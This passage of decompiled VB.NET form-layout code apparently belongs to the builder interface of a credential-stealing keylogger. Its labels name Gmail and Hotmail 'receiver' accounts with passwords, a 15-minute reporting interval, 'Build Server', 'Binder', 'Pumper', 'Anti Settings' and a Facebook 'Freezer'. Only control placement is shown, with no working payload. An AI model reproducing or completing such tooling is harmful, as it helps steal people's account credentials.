        Me.GroupBox2.Controls.Add(Me.Label7)

        Me.GroupBox2.Controls.Add(Me.FlowLayoutPanel1)

        Me.GroupBox2.Controls.Add(Me.Label8)

        Me.GroupBox2.Controls.Add(Me.Label9)

        Me.GroupBox2.Controls.Add(Me.TextBox4)

        Me.GroupBox2.Controls.Add(Me.TextBox8)

        Me.GroupBox2.Controls.Add(Me.Button3)

        Me.GroupBox2.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.GroupBox2.ForeColor = Color.White

        point = New Point(&H25, 290)

        Me.GroupBox2.Location = point

        Me.GroupBox2.Name = "GroupBox2"

        size = New Size(&H116, &H66)

        Me.GroupBox2.Size = size

        Me.GroupBox2.TabIndex = &H33

        Me.GroupBox2.TabStop = False

        Me.GroupBox2.Text = "Hotmail"

        Me.Label7.AutoSize = True

        Me.Label7.BackColor = Color.Transparent

        Me.Label7.Font = New Font("Microsoft Sans Serif", 9.75!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Label7.ForeColor = Color.Yellow

        point = New Point(&H150, 70)

        Me.Label7.Location = point

        Me.Label7.Name = "Label7"

        size = New Size(110, &H10)

        Me.Label7.Size = size

        Me.Label7.TabIndex = 11

        Me.Label7.Text = "www.hotmail.com"

        Me.FlowLayoutPanel1.BackColor = Color.Transparent

        Me.FlowLayoutPanel1.ForeColor = Color.Yellow

        point = New Point(&H6D, 120)

        Me.FlowLayoutPanel1.Location = point

        Me.FlowLayoutPanel1.Name = "FlowLayoutPanel1"

        size = New Size(&HAC, &H7B)

        Me.FlowLayoutPanel1.Size = size

        Me.FlowLayoutPanel1.TabIndex = &H3B

        Me.Label8.AutoSize = True

        Me.Label8.BackColor = Color.Transparent

        Me.Label8.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Label8.ForeColor = Color.Yellow

        point = New Point(8, &H29)

        Me.Label8.Location = point

        Me.Label8.Name = "Label8"

        size = New Size(&H6F, 13)

        Me.Label8.Size = size

        Me.Label8.TabIndex = 8

        Me.Label8.Text = "Hotmail Password:"

        Me.Label9.AutoSize = True

        Me.Label9.BackColor = Color.Transparent

        Me.Label9.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Label9.ForeColor = Color.Yellow

        point = New Point(6, &H10)

        Me.Label9.Location = point

        Me.Label9.Name = "Label9"

        size = New Size(&H71, 13)

        Me.Label9.Size = size

        Me.Label9.TabIndex = 7

        Me.Label9.Text = "Hotmail Username:"

        Me.TextBox4.BorderStyle = BorderStyle.FixedSingle

        Me.TextBox4.ForeColor = Color.Black

        point = New Point(&H79, &H27)

        Me.TextBox4.Location = point

        Me.TextBox4.Name = "TextBox4"

        Me.TextBox4.PasswordChar = "*"c

        size = New Size(&H93, 20)

        Me.TextBox4.Size = size

        Me.TextBox4.TabIndex = 6

        Me.TextBox8.BorderStyle = BorderStyle.FixedSingle

        Me.TextBox8.ForeColor = Color.Black

        point = New Point(&H79, 14)

        Me.TextBox8.Location = point

        Me.TextBox8.Name = "TextBox8"

        size = New Size(&H93, 20)

        Me.TextBox8.Size = size

        Me.TextBox8.TabIndex = 5

        Me.Button3.BackColor = Color.Transparent

        Me.Button3.FlatStyle = FlatStyle.Flat

        Me.Button3.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Button3.ForeColor = Color.Yellow

        point = New Point(&HAC, &H41)

        Me.Button3.Location = point

        Me.Button3.Name = "Button3"

        size = New Size(&H5C, &H1F)

        Me.Button3.Size = size

        Me.Button3.TabIndex = 0

        Me.Button3.Text = "Test Hotmail"

        Me.Button3.UseVisualStyleBackColor = False

        Me.RadioButton2.AutoSize = True

        Me.RadioButton2.BackColor = Color.Transparent

        Me.RadioButton2.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.RadioButton2.ForeColor = Color.White

        point = New Point(&HBA, &H110)

        Me.RadioButton2.Location = point

        Me.RadioButton2.Name = "RadioButton2"

        size = New Size(120, &H11)

        Me.RadioButton2.Size = size

        Me.RadioButton2.TabIndex = &H37

        Me.RadioButton2.TabStop = True

        Me.RadioButton2.Text = "Hotmail as Receiver"

        Me.RadioButton2.UseVisualStyleBackColor = False

        Me.RadioButton1.AutoSize = True

        Me.RadioButton1.BackColor = Color.Transparent

        Me.RadioButton1.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.RadioButton1.ForeColor = Color.White

        point = New Point(&H2D, &H110)

        Me.RadioButton1.Location = point

        Me.RadioButton1.Name = "RadioButton1"

        size = New Size(&H6F, &H11)

        Me.RadioButton1.Size = size

        Me.RadioButton1.TabIndex = &H36

        Me.RadioButton1.TabStop = True

        Me.RadioButton1.Text = "Gmail as Receiver"

        Me.RadioButton1.UseVisualStyleBackColor = False

        Me.Label5.AutoSize = True

        Me.Label5.BackColor = Color.Transparent

        Me.Label5.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Label5.ForeColor = Color.White

        point = New Point(&H22, &H197)

        Me.Label5.Location = point

        Me.Label5.Name = "Label5"

        size = New Size(&H4D, 13)

        Me.Label5.Size = size

        Me.Label5.TabIndex = &H3D

        Me.Label5.Text = "Receive Every"

        Me.Label6.AutoSize = True

        Me.Label6.BackColor = Color.Transparent

        Me.Label6.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Label6.ForeColor = Color.White

        point = New Point(&H8A, &H197)

        Me.Label6.Location = point

        Me.Label6.Name = "Label6"

        size = New Size(&H2C, 13)

        Me.Label6.Size = size

        Me.Label6.TabIndex = 60

        Me.Label6.Text = "Minutes"

        Me.TextBox3.BorderStyle = BorderStyle.FixedSingle

        Me.TextBox3.ForeColor = Color.Black

        point = New Point(&H70, &H195)

        Me.TextBox3.Location = point

        Me.TextBox3.MaxLength = 2

        Me.TextBox3.Name = "TextBox3"

        size = New Size(&H17, 20)

        Me.TextBox3.Size = size

        Me.TextBox3.TabIndex = &H3B

        Me.TextBox3.Text = "15"

        Me.Button1.BackColor = Color.Transparent

        Me.Button1.FlatStyle = FlatStyle.Flat

        Me.Button1.Font = New Font("Microsoft Sans Serif", 9.75!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button1.ForeColor = Color.White

        point = New Point(&H1D, &H2A7)

        Me.Button1.Location = point

        Me.Button1.Name = "Button1"

        size = New Size(90, &H1F)

        Me.Button1.Size = size

        Me.Button1.TabIndex = &H3F

        Me.Button1.Text = "Build Server"

        Me.Button1.UseVisualStyleBackColor = False

        Me.Button5.BackColor = Color.Transparent

        Me.Button5.FlatStyle = FlatStyle.Flat

        Me.Button5.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button5.ForeColor = Color.Yellow

        point = New Point(&HAE, &H99)

        Me.Button5.Location = point

        Me.Button5.Name = "Button5"

        size = New Size(&H60, &H17)

        Me.Button5.Size = size

        Me.Button5.TabIndex = &H41

        Me.Button5.Text = "Other Settings"

        Me.Button5.UseVisualStyleBackColor = False

        Me.Button6.BackColor = Color.Transparent

        Me.Button6.FlatStyle = FlatStyle.Flat

        Me.Button6.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button6.ForeColor = Color.Yellow

        point = New Point(&HAE, &H63)

        Me.Button6.Location = point

        Me.Button6.Name = "Button6"

        size = New Size(&H60, &H17)

        Me.Button6.Size = size

        Me.Button6.TabIndex = &H42

        Me.Button6.Text = "Pumper"

        Me.Button6.UseVisualStyleBackColor = False

        Me.Button7.BackColor = Color.Transparent

        Me.Button7.FlatStyle = FlatStyle.Flat

        Me.Button7.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button7.ForeColor = Color.Yellow

        point = New Point(&HAE, &H29)

        Me.Button7.Location = point

        Me.Button7.Name = "Button7"

        size = New Size(&H61, &H17)

        Me.Button7.Size = size

        Me.Button7.TabIndex = &H43

        Me.Button7.Text = "Special"

        Me.Button7.UseVisualStyleBackColor = False

        Me.Button8.BackColor = Color.Transparent

        Me.Button8.FlatStyle = FlatStyle.Flat

        Me.Button8.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button8.ForeColor = Color.Yellow

        point = New Point(&HAE, 15)

        Me.Button8.Location = point

        Me.Button8.Name = "Button8"

        size = New Size(&H61, &H17)

        Me.Button8.Size = size

        Me.Button8.TabIndex = &H44

        Me.Button8.Text = "Net"

        Me.Button8.UseVisualStyleBackColor = False

        Me.Button10.BackColor = Color.Transparent

        Me.Button10.FlatStyle = FlatStyle.Flat

        Me.Button10.Font = New Font("Microsoft Sans Serif", 9.75!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button10.ForeColor = Color.White

        point = New Point(&H80, &H2A7)

        Me.Button10.Location = point

        Me.Button10.Name = "Button10"

        size = New Size(90, &H1F)

        Me.Button10.Size = size

        Me.Button10.TabIndex = &H47

        Me.Button10.Text = "Credits"

        Me.Button10.UseVisualStyleBackColor = False

        Me.Button11.BackColor = Color.Transparent

        Me.Button11.FlatStyle = FlatStyle.Flat

        Me.Button11.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button11.ForeColor = Color.Yellow

        point = New Point(&HAE, 70)

        Me.Button11.Location = point

        Me.Button11.Name = "Button11"

        size = New Size(&H61, &H17)

        Me.Button11.Size = size

        Me.Button11.TabIndex = &H48

        Me.Button11.Text = "Binder"

        Me.Button11.UseVisualStyleBackColor = False

        Me.Button4.BackColor = Color.Transparent

        Me.Button4.FlatStyle = FlatStyle.Flat

        Me.Button4.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button4.ForeColor = Color.Yellow

        point = New Point(&HAE, &H7C)

        Me.Button4.Location = point

        Me.Button4.Name = "Button4"

        size = New Size(&H61, &H17)

        Me.Button4.Size = size

        Me.Button4.TabIndex = &H49

        Me.Button4.Text = "Anti Settings"

        Me.Button4.UseVisualStyleBackColor = False

        Me.ProgressBar1.ForeColor = Color.White

        point = New Point(&HC0, &H192)

        Me.ProgressBar1.Location = point

        Me.ProgressBar1.Name = "ProgressBar1"

        size = New Size(&H7B, &H13)

        Me.ProgressBar1.Size = size

        Me.ProgressBar1.TabIndex = &H4A

        Me.Button12.BackColor = Color.Transparent

        Me.Button12.FlatStyle = FlatStyle.Flat

        Me.Button12.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Button12.ForeColor = Color.Yellow

        point = New Point(&HAF, 180)

        Me.Button12.Location = point

        Me.Button12.Name = "Button12"

        size = New Size(&H5F, &H17)

        Me.Button12.Size = size

        Me.Button12.TabIndex = &H4B

        Me.Button12.Text = "Freeze"

        Me.Button12.UseVisualStyleBackColor = False

        point = New Point(&H232, &H1C)

        Me.TextBox5.Location = point

        Me.TextBox5.Name = "TextBox5"

        Me.TextBox5.ReadOnly = True

        size = New Size(&H94, 20)

        Me.TextBox5.Size = size

        Me.TextBox5.TabIndex = &H4C

        point = New Point(&H234, &H31)

        Me.TextBox6.Location = point

        Me.TextBox6.Name = "TextBox6"

        Me.TextBox6.ReadOnly = True

        size = New Size(&H94, 20)

        Me.TextBox6.Size = size

        Me.TextBox6.TabIndex = &H4D

        Me.GroupBox4.BackColor = Color.Transparent

        Me.GroupBox4.Controls.Add(Me.CheckBox7)

        Me.GroupBox4.Controls.Add(Me.WebBrowser1)

        Me.GroupBox4.Controls.Add(Me.CheckBox6)

        Me.GroupBox4.Controls.Add(Me.CheckBox5)

        Me.GroupBox4.Controls.Add(Me.CheckBox4)

        Me.GroupBox4.Controls.Add(Me.CheckBox3)

        Me.GroupBox4.Controls.Add(Me.CheckBox2)

        Me.GroupBox4.Controls.Add(Me.CheckBox8)

        Me.GroupBox4.Controls.Add(Me.Button8)

        Me.GroupBox4.Controls.Add(Me.Button7)

        Me.GroupBox4.Controls.Add(Me.Button11)

        Me.GroupBox4.Controls.Add(Me.Button12)

        Me.GroupBox4.Controls.Add(Me.Button6)

        Me.GroupBox4.Controls.Add(Me.Button4)

        Me.GroupBox4.Controls.Add(Me.Button5)

        Me.GroupBox4.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.GroupBox4.ForeColor = Color.White

        point = New Point(&H1D, &H1B0)

        Me.GroupBox4.Location = point

        Me.GroupBox4.Name = "GroupBox4"

        size = New Size(&H11E, &HD4)

        Me.GroupBox4.Size = size

        Me.GroupBox4.TabIndex = &H4E

        Me.GroupBox4.TabStop = False

        Me.GroupBox4.Text = "It's Your Choice"

        Me.CheckBox7.AutoSize = True

        Me.CheckBox7.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.CheckBox7.ForeColor = Color.Yellow

        point = New Point(8, &HB7)

        Me.CheckBox7.Location = point

        Me.CheckBox7.Name = "CheckBox7"

        size = New Size(&H63, &H11)

        Me.CheckBox7.Size = size

        Me.CheckBox7.TabIndex = &H47

        Me.CheckBox7.Text = "Use FB Freezer"

        Me.CheckBox7.UseVisualStyleBackColor = True

        point = New Point(&H87, &H99)

        Me.WebBrowser1.Location = point

        size = New Size(20, 20)

        Me.WebBrowser1.MinimumSize = size

        Me.WebBrowser1.Name = "WebBrowser1"

        size = New Size(20, 20)

        Me.WebBrowser1.Size = size

        Me.WebBrowser1.TabIndex = &H53

        Me.WebBrowser1.Visible = False

        Me.CheckBox6.AutoSize = True

        Me.CheckBox6.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.CheckBox6.ForeColor = Color.Yellow

        point = New Point(8, &H2D)

        Me.CheckBox6.Location = point

        Me.CheckBox6.Name = "CheckBox6"

        size = New Size(&H7C, &H11)

        Me.CheckBox6.Size = size

        Me.CheckBox6.TabIndex = 70

        Me.CheckBox6.Text = "Use Special Settings"

        Me.CheckBox6.UseVisualStyleBackColor = True

        Me.CheckBox5.AutoSize = True

        Me.CheckBox5.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.CheckBox5.ForeColor = Color.Yellow

        point = New Point(8, &H13)

        Me.CheckBox5.Location = point

        Me.CheckBox5.Name = "CheckBox5"

        size = New Size(&H6A, &H11)

        Me.CheckBox5.Size = size

        Me.CheckBox5.TabIndex = &H15

        Me.CheckBox5.Text = "Use Net Settings"

        Me.CheckBox5.UseVisualStyleBackColor = True

        Me.CheckBox4.AutoSize = True

        Me.CheckBox4.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.CheckBox4.ForeColor = Color.Yellow

        point = New Point(8, &H66)

        Me.CheckBox4.Location = point

        Me.CheckBox4.Name = "CheckBox4"

        size = New Size(&H76, &H11)